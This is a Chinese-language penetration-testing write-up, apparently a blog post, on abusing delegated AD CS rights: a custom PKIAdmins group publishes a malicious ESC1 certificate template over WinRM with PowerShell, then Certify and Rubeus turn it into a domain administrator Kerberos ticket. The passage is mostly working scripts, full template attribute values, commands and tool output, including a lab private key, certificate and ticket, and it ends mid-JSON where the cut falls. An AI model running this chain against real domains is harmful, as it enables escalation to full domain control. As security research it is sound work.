ca管理员权限解析及利用发布恶意模板攻击

本文导读

pki是一种公钥认证基础,用来实现证书的发布管理等,Microsof实现的PKI被称为 Active Directory证书服务(Active Directory Certificate ServicesAD CS)其在很大程度上受到安全社区的关注。

当我们在域渗透的过程中,经常会见到pki admin或者Certificate Managers这些组,无论是实战环境还是渗透比赛,这都意味着我们可以枚举域内存在漏洞的证书模板并加以利用。

但其实这种组都是域环境自建组,域环境并不具备默认的ca管理组(除了域管),这种环境中的自建组一般只会分配证书请求颁发发布的权限,也就意味着如果当前环境并不存在恶意模板,我们就不能利用对ca的全部掌控权限打黄金证书,所以我在思考这种攻击路径时意识到,只要存在这种自建组,其实我们完全具备权限发布恶意模板并请求证书,做到自己部署可攻击环境。 这显而易见不是吗。证书服务管理组理应获得如此权限,但是当我尝试进行测试时发现,如果我们想发布恶意证书,就需要权限的同时还需要桌面交互会话,否则你无法操控证书管理certsrv.msc。所以本文的重点将放在:如何仅利用winrm会话发布并注册恶意模板并加以利用。 我查找了中外很多文章,确定这条攻击路径目前没有人发布过,所以本文将详细描述一下这种攻击所需要的权限,以及具体的攻击手法,虽然其中涉及大量powershell语法。

恶意证书部署流程

首先可以看一下我现在目标靶机环境

┌──(wackymaker㉿kali)-[~/tmp/synthetic/adcs-test]
└─$ certipy find -u $user -p $pass -target $FQDN -dc-ip $ip -text -stdout -vulnerable
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 15 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'wackadcs-DC-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[!] Failed to get CA configuration for 'wackadcs-DC-CA' via RRP: Expected a bytes object for security descriptor, got <class 'str'>
[!] Use -debug to print a stacktrace
[!] Could not retrieve configuration for 'wackadcs-DC-CA'
[*] Checking web enrollment for CA 'wackadcs-DC-CA' @ 'dc.wackadcs.com'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : wackadcs-DC-CA
    DNS Name                            : dc.wackadcs.com
    Certificate Subject                 : CN=wackadcs-DC-CA, DC=wackadcs, DC=com
    Certificate Serial Number           : 19F9595699CD919E41F8D2620299CFA0
    Certificate Validity Start          : 2025-08-28 08:34:40+00:00
    Certificate Validity End            : 2030-08-28 08:44:40+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Unknown
    Request Disposition                 : Unknown
    Enforce Encryption for Requests     : Unknown
    Active Policy                       : Unknown
    Disabled Extensions                 : Unknown
Certificate Templates                   : [!] Could not find any certificate templates

可以看到证书服务配置正常,但是没有可以利用的证书

为了部署恶意证书我们能从微软的pki文档中了解证书发布的流程

首先我们需要准备一个恶意证书模板,我的目光首先放在了esc1模板上,这是一种在adcs中最易于攻击的模板,而微软的自签名模板以及一个证书模板需要如下5块信息

准备模板

基本信息中我们需要定义模板的名称以及类型标志版本,我简单配置如下

name	"ESC1"	#AD中对象的内部名字(用于引用)
displayName	"ESC1"	#CA界面显示名称
objectClass	"pKICertificateTemplate"	#LDAP对象类型,表示这是一个证书模板
flags	131616	#模板标志,控制模板行为(如允许导出私钥、自动注册等)
revision	100	#模板版本号,增加后表示模板有更新

OID和应用策略

oid是对象标识符,可以理解为一个全局唯一的标识信息,主要是msPKI-Certificate-Application-Policy属性中的值1.3.6.1.5.5.7.3.2代表了允许客户端验证

msPKI-Cert-Template-OID	"1.3.6.1.4.1.311.21.8.16735922.7437492.10570883.2539024.15756463.185.9025784.11813639",	#模板的唯一标识符,用于 CA 识别模板
msPKI-Certificate-Application-Policy	["1.3.6.1.5.5.7.3.2"]	#证书用途(EKU),这里 1.3.6.1.5.5.7.3.2 表示 客户端身份认证
msPKI-Certificate-Name-Flag	1	#控制 CN 名称如何生成(1 通常表示使用用户的主体名称)

密钥和名称加密

这一段是和正常模板一致的,可以随便导出一张证书复制过来或者ai生成

msPKI-Minimal-Key-Size	2048	#证书最小密钥长度
msPKI-Private-Key-Flag	16842752	#控制私钥属性(可导出、可签名、可加密等)
pKIDefaultCSPs	"3,Microsoft Base DSS Cryptographic Provider","2,Microsoft Base Cryptographic Provider v1.0","1,Microsoft Enhanced Cryptographic Provider v1.0"	#默认使用的加密服务提供者(CSP)
pKIDefaultKeySpec	2	#默认密钥用途(签名=1,加密=2,这里是加密)

生命周期和有效期

同上,找模板复制即可

pKIExpirationPeriod	[0,64,57,135,46,225,254,255]	#证书有效期,二进制编码表示
pKIOverlapPeriod	[0,128,166,10,255,222,255,255]	#证书续订重叠期,二进制表示
pKIMaxIssuingDepth	0	#最大颁发深度(0 = 无限

扩展属性

这段需要包含证书的关键扩展(Key Usage, Basic Constraints),以及重复指定pKIExtendedKeyUsage参数[“1.3.6.1.5.5.7.3.2”]表示此模板为客户端认证用途

pKICriticalExtensions	["2.5.29.15","2.5.29.7"]	#证书的关键扩展(Key Usage, Basic Constraints)
pKIExtendedKeyUsage	["1.3.6.1.5.5.7.3.2"]	#扩展密钥用途,重复指定客户端身份认证
msPKI-Enrollment-Flag	0	#注册标志(0 = 不自动注册)
msPKI-RA-Signature	0	#RA 签名属性,0 表示默认
msPKI-Template-Minor-Revision	4	#小版本号,用于模板升级
msPKI-Template-Schema-Version	2	#模板 schema 版本(AD 内部版本控制)

pkiadmin组权限构筑

现在为了发布这个模板让其能正常使用,我们需要进行如下三步

  1. 为这个模板创建对应的OID对象
  2. 创建证书模板(我们已经完成了这步)
  3. 发布模板到ca

为了完成前两种种操作,pkiadmin组分别需要对OID Container和Certificate Templates这两个容器有 CreateChild, WriteProperty权限,这表示了pkiadmin可以对证书模板以及oid设置有子类创建以及写入的权限,用于导入模板的使用

而一旦模板导入,我们需要其对ca的WriteProperty权限用于注册证书(注意这里WriteProperty权限即可,完全掌控就可以打黄金证书了,但是没有权限的话在后续会提示权限不足,我已经失败过很多次了)

我在一个配置好了域控及证书服务的环境当中创建了一个空白的pkiadmin组,并用了如下脚本分配了以上我提到的权限

# 获取配置命名上下文
$ConfigNC = (Get-ADRootDSE).configurationNamingContext

# 容器路径
$TemplateCN = "CN=Certificate Templates,CN=Public Key Services,CN=Services,$ConfigNC"
$OIDCN      = "CN=OID,CN=Public Key Services,CN=Services,$ConfigNC"
$EnrollmentPath = "CN=Enrollment Services,CN=Public Key Services,CN=Services,$ConfigNC"

# 获取 CA
$CAs = Get-ADObject -SearchBase $EnrollmentPath -SearchScope OneLevel -Filter *

# 获取 PKIAdmins SID
$account = New-Object System.Security.Principal.NTAccount("WACKADCS\PKIAdmins")
$sid     = $account.Translate([System.Security.Principal.SecurityIdentifier])

# ACE 构造函数(6参数)
function Add-PKIAdminACE($path, $rights) {
    $acl = Get-ACL "AD:$path"
    $ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
        $sid,
        $rights,
        [System.Security.AccessControl.AccessControlType]::Allow,
        [GUID]::Empty,
        [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None,
        [GUID]::Empty
    )
    $acl.AddAccessRule($ace)
    Set-ACL "AD:$path" $acl
}

#  Certificate Templates 容器权限
Add-PKIAdminACE -path $TemplateCN -rights ([System.DirectoryServices.ActiveDirectoryRights]::CreateChild -bor [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty)

# OID 容器权限
Add-PKIAdminACE -path $OIDCN -rights ([System.DirectoryServices.ActiveDirectoryRights]::CreateChild -bor [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty)

# CA 对象权限(允许写入 certificateTemplates 属性)
foreach ($CA in $CAs) {
    $CAPath = $CA.DistinguishedName
    Add-PKIAdminACE -path $CAPath -rights ([System.DirectoryServices.ActiveDirectoryRights]::WriteProperty)
}

# 可选:检查权限
foreach ($CA in $CAs) {
    Write-Host "==== $($CA.Name) ===="
    Get-ACL "AD:$($CA.DistinguishedName)" |
        Select-Object -ExpandProperty Access |
        Where-Object {$_.IdentityReference -like "*PKIAdmins*"}
}

# 可选:检查模板和 OID 容器
Write-Host "=== Certificate Templates ==="
Get-ACL "AD:$TemplateCN" | Select-Object -ExpandProperty Access | Where-Object {$_.IdentityReference -like "*PKIAdmins*"}

Write-Host "=== OID Container ==="
Get-ACL "AD:$OIDCN" | Select-Object -ExpandProperty Access | Where-Object {$_.IdentityReference -like "*PKIAdmins*"}

利用域管权限执行后可以看到效果正常,一个可以用于利用,常见的pkiadmin组就被创建好了

PS C:\Users\Administrator\Desktop> powershell .\make_pkiadmins.ps1
==== wackadcs-DC-CA ====


ActiveDirectoryRights : WriteProperty
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : WACKADCS\PKIAdmins
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None

=== Certificate Templates ===
ActiveDirectoryRights : CreateChild, WriteProperty
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : WACKADCS\PKIAdmins
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None

=== OID Container ===
ActiveDirectoryRights : CreateChild, WriteProperty
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : WACKADCS\PKIAdmins
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None

接下来我创建了一个testuser用于测试远程攻击,将其添加入pkiadmin以及远程管理组

PS C:\Users\Administrator> $password = ConvertTo-SecureString "wacky123!@#" -AsPlainText -Force
PS C:\Users\Administrator> New-ADUser -Name $userName `
>>            -SamAccountName $userName `
>>            -AccountPassword $password `
>>            -Enabled $true `
>>            -Path $ou
PS C:\Users\Administrator> Add-ADGroupMember -Identity "PKIAdmins" -Members $userName
PS C:\Users\Administrator> Add-ADGroupMember -Identity "Remote Desktop Users" -Members $userName
PS C:\Users\Administrator> Add-ADGroupMember -Identity "Remote Management Users" -Members $userName

注册恶意模板

当我们利用testuser权限winrm登陆机器的时候,就可以一步一步注册模板了

首先创建OID对象

evil-winrm-py PS C:\Users\testuser\Documents> $OIDProps = @{
    'DisplayName'             = 'ESC1'
    'msPKI-Cert-Template-OID' = '1.3.6.1.4.1.311.21.8.16735922.7437492.10570883.2539024.15756463.185.9025784.11813639'
    'flags'                   = 1
}
evil-winrm-py PS C:\Users\testuser\Documents> New-ADObject -Path $OIDPath -Name 'ESC1' -Type 'msPKI-Enterprise-Oid' -OtherAttributes $OIDProps

之后创建证书模板对象

evil-winrm-py PS C:\Users\testuser\Documents> $TemplatePath = "CN=Certificate Templates,CN=Public Key Services,CN=Services,$ConfigNC"
evil-winrm-py PS C:\Users\testuser\Documents> $TemplateProps = @{
    'displayName'                   = 'ESC1'
    'msPKI-Cert-Template-OID'       = '1.3.6.1.4.1.311.21.8.16735922.7437492.10570883.2539024.15756463.185.9025784.11813639'
    'flags'                         = 131616
    'revision'                      = 100
    'msPKI-Certificate-Application-Policy' = @('1.3.6.1.5.5.7.3.2')
    'msPKI-Certificate-Name-Flag'   = 1
    'msPKI-Enrollment-Flag'         = 0
    'msPKI-Minimal-Key-Size'        = 2048
    'msPKI-Private-Key-Flag'        = 16842752
    'msPKI-RA-Signature'            = 0
    'msPKI-Template-Minor-Revision' = 4
    'msPKI-Template-Schema-Version' = 2
    'pKICriticalExtensions'          = @('2.5.29.15','2.5.29.7')
    'pKIDefaultCSPs'                 = @('3,Microsoft Base DSS Cryptographic Provider',
                                          '2,Microsoft Base Cryptographic Provider v1.0',
                                          '1,Microsoft Enhanced Cryptographic Provider v1.0')
    'pKIDefaultKeySpec'              = 2
    'pKIExpirationPeriod'            = [byte[]](0,64,57,135,46,225,254,255)
    'pKIExtendedKeyUsage'            = @('1.3.6.1.5.5.7.3.2')
    'pKIKeyUsage'                    = [byte[]](128,0)
    'pKIMaxIssuingDepth'             = 0
    'pKIOverlapPeriod'               = [byte[]](0,128,166,10,255,222,255,255)
}
evil-winrm-py PS C:\Users\testuser\Documents> New-ADObject -Path $TemplatePath -Name 'ESC1' -Type 'pKICertificateTemplate' -OtherAttributes $Template
Props

在ca中注册模板

evil-winrm-py PS C:\Users\testuser\Documents> $CAs = Get-ADObject -SearchBase $EnrollmentPath -SearchScope OneLevel -Filter *
evil-winrm-py PS C:\Users\testuser\Documents>
foreach ($CA in $CAs) {
    Set-ADObject -Identity $CA.DistinguishedName -Add @{certificateTemplates='ESC1'}
}

当注册完毕后,模板只是注册在了ca当中,但是没有人能利用它,我们需要在其中属性中写入能请求的组,作为它的onwer,我们是有权限的。

$TemplateDN = "CN=ESC1,CN=Certificate Templates,CN=Public Key Services,CN=Services,$ConfigNC"
$acl = Get-ACL "AD:$TemplateDN"
$rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    (New-Object System.Security.Principal.NTAccount("PKIadmins")),
    "ExtendedRight",
    "Allow",
    [GUID]"00000000-0000-0000-0000-000000000000"
)
$acl.AddAccessRule($rule)
Set-ACL -Path "AD:$TemplateDN" -AclObject $acl

没有报错则是正常的,我们尝试使用certipy远程查找一下可利用模板

┌──(wackymaker㉿kali)-[~/tmp/synthetic/adcs-test]
└─$ certipy find -u $user -p $pass -target $FQDN -dc-ip $ip -text -stdout -vulnerable
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
...........
    Template Name                       : ESC1
    Display Name                        : ESC1
    Certificate Authorities             : wackadcs-DC-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-08-29T10:18:30+00:00
    Template Last Modified              : 2025-08-29T10:18:30+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : WACKADCS.COM\PKIAdmins
      Object Control Permissions
        Owner                           : WACKADCS.COM\testuser
        Full Control Principals         : WACKADCS.COM\Domain Admins
                                          WACKADCS.COM\Local System
                                          WACKADCS.COM\Enterprise Admins
        Write Owner Principals          : WACKADCS.COM\Domain Admins
                                          WACKADCS.COM\Local System
                                          WACKADCS.COM\Enterprise Admins
        Write Dacl Principals           : WACKADCS.COM\Domain Admins
                                          WACKADCS.COM\Local System
                                          WACKADCS.COM\Enterprise Admins
    [+] User Enrollable Principals      : WACKADCS.COM\PKIAdmins
    [+] User ACL Principals             : WACKADCS.COM\testuser
    [!] Vulnerabilities
      ESC1                              : Enrollee supplies subject and template allows client authentication.
      ESC4                              : Template is owned by user.

可以看到Enrollment Rights: WACKADCS.COM\PKIAdmins这则允许我们当前组去以任意身份请求证书,我们可以利用Certify和Rubeus尝试利用

先以administrator身份请求证书

evil-winrm-py PS C:\Users\testuser\Documents> .\Certify.exe request /ca:dc.wackadcs.com\wackadcs-DC-CA /template:ESC /altname:administrator

   _____          _   _  __              
  / ____|        | | (_)/ _|             
 | |     ___ _ __| |_ _| |_ _   _        
 | |    / _ \ '__| __| |  _| | | |      
 | |___|  __/ |  | |_| | | | |_| |       
  \_____\___|_|   \__|_|_|  \__, |   
                             __/ |       
                            |___./        
  v1.1.0                               

[*] Action: Request a Certificates

[*] Current user context    : WACKADCS\testuser
[*] No subject name specified, using current context as subject.

[*] Template                : ESC
[*] Subject                 : CN=testuser, CN=Users, DC=wackadcs, DC=com
[*] AltName                 : administrator

[*] Certificate Authority   : dc.wackadcs.com\wackadcs-DC-CA

[*] CA Response             : The certificate had been issued.
[*] Request ID              : 8

[*] cert.pem         :

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAx96DY8qk0ZekO+1NVRo+KT9iZf8BATvKqZ5xyfVm26uZAcPJ
D3nj6DMxH41b6RK1IpJpKct+dwD9R4Fca3uP2SAxiFxY5iMigd3I/1nHpZO3X/DS
0XPwVY0VeCDgFtDtqKMrQsTcQgzTcrwL5SWE+96E5Qk6lLhsbx/ZSlO2ncKRnx+F
heuN7gnA4qn1TWgZf0BTU1xKfxB5UqVS8fF7IEo/kkKSTm14w//8R27Ua6yarEbB
sjMF3oHj+FxnL7fkvVFTmto5hCaTUzdxcSOdF8dx0oKperulzItnasmKtCxUO2w4
WKBrNMMsRwAh0q/nWRQwOquJbc/0aGod7u7RlQIDAQABAoIBAErbulZL9cNSin6v
eIFhXNrSFKajBdtSa6tv3qqHsUihUqNokwuq2YOEeOeaaEw5Z4JVV/IBd5JW2oZH
mzfehZgLCMJL5Df9/NSrHrcVB0OqucnDRxKP2/oO53Wgyo2BHyJEStWtKdnLN/8H
E2V10gML6rZl6Hz/Pg243geKpyEarrhBHBP7W/u1iUs0ySpV4SxFOh4dFTWJmMWM
GfuVUU7BTU8OZwQUkyB9LbrT+q3p0DUgVx7zLlqbC1MzbjP61jQ5JAm3ep6Vq/Yb
NiPnQVbeHbMQjqjOqDm0zEV5QYQtVVA+aRd/5FzwmmI0VRz1lTWBUXwwdCYEHcWZ
jcSD8FkCgYEA9P7Q3Icrcbin4El/rAZVHqpHuALtzClSOjYBLmfUvd8Fq8TmEiZ/
2nbXXThV/U5qIxgkRSVHvCNGZelLPJN5r4dUJyy9kumxHYIJfER/LW+5A1KGC86k
tgkfIRmDzT9Nu8Z5npHa0L2LYR+c/rTFZKtSQAjVEjNkdavYwdmyvLsCgYEA0NjL
bxm/YWgoW/MQ1aqfTVOvI1IGdPZ+VPsXVHSX4VxbasTqobZ16wJLE+jtsEa+HeWa
fA6oXAGDD0Z1y6V4/GwVKI/zLhSgMbcoB/+NSnFu0HDHLbV2WtPpXXfIXk361/ns
5G5XWGBYvJYDzHoQHftjdVzECzzA2fnWTftPbe8CgYEAolS0z2pAvvk7QsFwdus7
OzZYjvRh3AUFFszxu23Q6H39o/Ky/xPDY12bFYlecJiketxkK+ynu2EkJCKQV3Lg
Dg39FHfwpIdzc7nVzyETo2eDj0/+wZQKTxN8LNJbIoPvXZwEuayq7+SnlZL800e0
AyABP6yagZTL26wh01ALvkECgYBJuj8XGZ/WY07cJxLqWzGhusk5Ttu4rswqc/no
dsCnblNXfezW6fL24/hdLv26HT9Ajq3a3dHRqTb7TYSIQAJWGlHd3/OZcO6cnmwj
ZrQac7ELJMUr/cOqjOT1ejPiFuVXGYPnoIx1Ro4NBWiR5wWJkBWsePM8hFYQnYJq
RS3lQQKBgQCZKFzAz4pWFRtrpNNUvOHRd6WBLAYNiGuGe/IKniQeUZRtkJaHQdXv
jwSBlXfmUGetfY8D5nlD6fybxUYf0Osgb7WAy/wQSYUWfGyw3k62B1+a8l8rpMSI
/2eWgG/BwJxu7z07mb4Z0Zp+V9a3R7yxc0PV1/VEwGucFFEXSsXhPA==
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFpzCCBI+gAwIBAgITRwAAAAiztITCzCjvHwAAAAAACDANBgkqhkiG9w0BAQsF
ADBIMRMwEQYKCZImiZPyLGQBGRYDY29tMRgwFgYKCZImiZPyLGQBGRYId2Fja2Fk
Y3MxFzAVBgNVBAMTDndhY2thZGNzLURDLUNBMB4XDTI1MDgyOTEwNTMxMFoXDTI2
MDgyOTEwNTMxMFowUjETMBEGCgmSJomT8ixkARkWA2NvbTEYMBYGCgmSJomT8ixk
ARkWCHdhY2thZGNzMQ4wDAYDVQQDEwVVc2VyczERMA8GA1UEAxMIdGVzdHVzZXIw
ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDH3oNjyqTRl6Q77U1VGj4p
P2Jl/wEBO8qpnnHJ9Wbbq5kBw8kPeePoMzEfjVvpErUikmkpy353AP1HgVxre4/Z
IDGIXFjmIyKB3cj/Wcelk7df8NLRc/BVjRV4IOAW0O2ooytCxNxCDNNyvAvlJYT7
3oTlCTqUuGxvH9lKU7adwpGfH4WF643uCcDiqfVNaBl/QFNTXEp/EHlSpVLx8Xsg
Sj+SQpJObXjD//xHbtRrrJqsRsGyMwXegeP4XGcvt+S9UVOa2jmEJpNTN3FxI50X
x3HSgql6u6XMi2dqyYq0LFQ7bDhYoGs0wyxHACHSr+dZFDA6q4ltz/Roah3u7tGV
AgMBAAGjggJ+MIICejA9BgkrBgEEAYI3FQcEMDAuBiYrBgEEAYI3FQiDxo8/g+L0
AYGxix2Hm8gOhp6HRGud+qVSl9vWTAIBZAIBBDATBgNVHSUEDDAKBggrBgEFBQcD
AjAOBgNVHQ8BAf8EBAMCB4AwGwYJKwYBBAGCNxUKBA4wDDAKBggrBgEFBQcDAjAd
BgNVHQ4EFgQUemYdeXrgkaNdHVKuML4ES+6js+cwKAYDVR0RBCEwH6AdBgorBgEE
AYI3FAIDoA8MDWFkbWluaXN0cmF0b3IwHwYDVR0jBBgwFoAUHiNq67IPqjWhNvQo
ARl4Yl+qc6IwgcgGA1UdHwSBwDCBvTCBuqCBt6CBtIaBsWxkYXA6Ly8vQ049d2Fj
a2FkY3MtREMtQ0EsQ049ZGMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZp
Y2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9d2Fja2FkY3MsREM9
Y29tP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1j
UkxEaXN0cmlidXRpb25Qb2ludDCBwQYIKwYBBQUHAQEEgbQwgbEwga4GCCsGAQUF
BzAChoGhbGRhcDovLy9DTj13YWNrYWRjcy1EQy1DQSxDTj1BSUEsQ049UHVibGlj
JTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixE
Qz13YWNrYWRjcyxEQz1jb20/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNz
PWNlcnRpZmljYXRpb25BdXRob3JpdHkwDQYJKoZIhvcNAQELBQADggEBAAXl5dhO
r0TQawv3i8jtRKNYDbbuMhyldqnMmyk7FEm8xGcT54pKMSNejMg0VtuNT/KvZBqP
oonOEPh2ZHoh03MVtklBRoR9YtaxbZPC7JEydM+pAy+OOS64m+E0+S7Ox5Xt8ZA2
HqXIWCaVuvlPty33lH1YiQhW81e3SaeRXuBDA56VFNijlFogvjrI1MNi7EOurQMb
Hxu0/zUr6TZOaboIwEavzvy2eNfv5f8bxFYRI9tmpt+4U6HLFlPoPQ/7S/m3boNS
Su1pp4C+PKflGlp/5jAyDvRLsm3CiAZRaO70vLUvmttoElHPU/XGUrI4F/u0iV1R
UeXZ3nCktWcfXoo=
-----END CERTIFICATE-----


[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx



Certify completed in 00:00:03.8674143

复制完整的证书转换格式,并录入证书密钥

┌──(wackymaker㉿kali)-[~/tmp/synthetic/adcs-test]
└─$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Enter Export Password:123456
Verifying - Enter Export Password:123456

将生成的证书传回目标并用Rubeus利用pkinit请求tgt并注入当前会话

evil-winrm-py PS C:\Users\testuser\Documents> .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:123456 /ptt

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.6.4 

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=testuser, CN=Users, DC=wackadcs, DC=com 
[*] Building AS-REQ (w/ PKINIT preauth) for: 'wackadcs.com\administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFzDCCBcigAwIBBaEDAgEWooIE3DCCBNhhggTUMIIE0KADAgEFoQ4bDFdBQ0tBRENTLkNPTaIhMB+g
      AwIBAqEYMBYbBmtyYnRndBsMd2Fja2FkY3MuY29to4IElDCCBJCgAwIBEqEDAgECooIEggSCBH69O4aY
      cdHlYpgzQPr73+J9XmXoRmCqA/Wki5r+CMbIMLvueqnCpjch6rrZgoRF95qgQxsEVstY8HYMJrzTBOPN
      onZMbl6pgzqV8QeTN3p/awlUIO8ac0SsDPH2YTLl/mFHBoohSqTfCKQ1Gn5/q+CsPZOaf5CLPWJoBOiB
      C5bDapEI2GUN4dafAgGoj0GAF9TJr19j8IkwPlQy14hohErsMGIWot2N7iuYJLb4ERWYnClPsP4z9kxe
      wCD41vGdxMt0/7eMYd/TeDbh13Ilx0QNkSBWtHwCD3LRfaDKHbXO6oZb2kbNME7vHJxFkcAemWEzAp+0
      /PekCxQRGxmYFVIheE/VJJu/RTJB8l3tRw+fw1GpXOepKQsPQMwTT8YZBrthPLy4qjBIjQNNKC/67e1s
      Kni5m3rnsK06eS++Zj4AyFKmq+4Vy43cqOAUGdL5nreySvceJmbNBJkHe+Dm7ClKk32/n4SnhS0x9uV2
      JjSzy3uSA2xpCjHBxtZUGGsxU82W947QU528OjKDS+vjMuJN+5eszcaCs96pmK3vWZNAhIImt5gj+sbV
      LzhnnDiuOBSF2SQHfM+NPYuci4G0zUmUcy9pZv3to3pKpD7ZuYwntlkM5rBqZRT8P8gbnrgpnWwc5rg/
      eQDyeznTkdEvPhyllcU72wn6ylS9i/FDl+U9S8VNEE+IwGYDippaL/TTWAuythmLg7+9VF5HSwnRp1ba
      7NMxeC9EXKLBd3i2nZH5uZ1Bh9YdjAWW86XRiw2BYektqNlea5t2eEmEUnO0ToMm7ZpYNIsCuHQuT0mZ
      DIRLMiLskNHTVuthsoADqOBTa8fsliEerCUYPE7fmsQgft9c4nbLul/3GfT4QecAJgxTjL6bLhokKPAz
      1iPdcSQY0VdrBXm3IoMSy+oTqSu6Y7vwywbO8qNiN8Xh4ZeILTb3pTj5iU8SxyxEdyk6w4KcseD/J0Ik
      4fu2aUf5l+xpg6Acr6JlVndzFOmXtxMIsEPhs6DdlzKw0NdtHE82hX9TCmFLsS62zGcf0mfxrpOCSwq6
      Tg95Zwu9WVLAl2rfaF8ZDrInjbzEW73rsZmIw6cbJ0c0a/GxB+3LONEZ4MRPHwPIAClYVMzisx2++CK4
      WnNkHSYX/ixqSLGxz0U6ta/bPz1aT8uAfyRG43Zt5lStEX+BFfcPjmv0oxDVnoxPOQKI4tCxjwlSTbqR
      VTursusFJ5/6X54BV0tDOvYp4gqdEy4+Qx2/2JihaVgd6+9M0dHZBeWhCFj1xew29ysl+Q80R1CvJ78l
      qCFhAfCF6wA1BBpgLdJaEuszFtxAr8BKdzPN0ksoWTJIYLSGcfogvRAcLpj2E+dlvO61YxAx1qjQSC97
      zeK5khB4ApzVP890GNrdSzubkztEBZ811IjauCOw8uERNzlayNd2f5AnTn+EfIUDp4dek/ixTDGCTFV8
      H4HrgKE1NUfduGzRmiS62PUJbPTRhy/aXL12XQvV6IiMgXPJ3KvIdkphxvlqS4oCKXmBiRuNvS9lMlCQ
      /yYqGfGco4HbMIHYoAMCAQCigdAEgc19gcowgceggcQwgcEwgb6gGzAZoAMCARehEgQQVvE4TO9wnXeG
      nNT3b7pdi6EOGwxXQUNLQURDUy5DT02iGjAYoAMCAQGhETAPGw1hZG1pbmlzdHJhdG9yowcDBQBA4QAA
      pREYDzIwMjUwODI5MTEwODA1WqYRGA8yMDI1MDgyOTIxMDgwNVqnERgPMjAyNTA5MDUxMTA4MDVaqA4b
      DFdBQ0tBRENTLkNPTakhMB+gAwIBAqEYMBYbBmtyYnRndBsMd2Fja2FkY3MuY29t
[+] Ticket successfully imported!

  ServiceName           :  krbtgt/wackadcs.com
  ServiceRealm          :  WACKADCS.COM
  UserName              :  administrator
  UserRealm             :  WACKADCS.COM
  StartTime             :  2025/8/29 19:08:05
  EndTime               :  2025/8/30 5:08:05
  RenewTill             :  2025/9/5 19:08:05
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  VvE4TO9wnXeGnNT3b7pdiw==

可以看到已经攻击成功了,我们通过pkiadmin在一个本没有可利用证书的环境中搞到了域管票据

evil-winrm-py PS C:\Users\testuser\Documents> klist

当前登录 ID 是 0:0xc60529

缓存的票证: (1)

#0>	客户端: administrator @ WACKADCS.COM
	服务器: krbtgt/wackadcs.com @ WACKADCS.COM
	Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
	票证标志 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize 
	开始时间: 8/29/2025 19:08:05 (本地)
	结束时间:   8/30/2025 5:08:05 (本地)
	续订时间: 9/5/2025 19:08:05 (本地)
	会话密钥类型: RSADSI RC4-HMAC(NT)
	缓存标志: 0x1 -> PRIMARY 
	调用的 KDC: 

快速攻击

在我完成以上的实操测试后我感觉实在是有些繁琐,我不相信实际域环境中不具备远程管理证书服务的工具

最终我找到了这个ADCSTemplate脚本,它不是为了注册恶意模板的,事实上它甚至不会被标记为恶意脚本,只是它恰好具备了我们需要的远程注册证书的功能

为了利用它,我们需要将之前的esc1模板写成一个完整的json格式

{
    "name":  "ESC1",
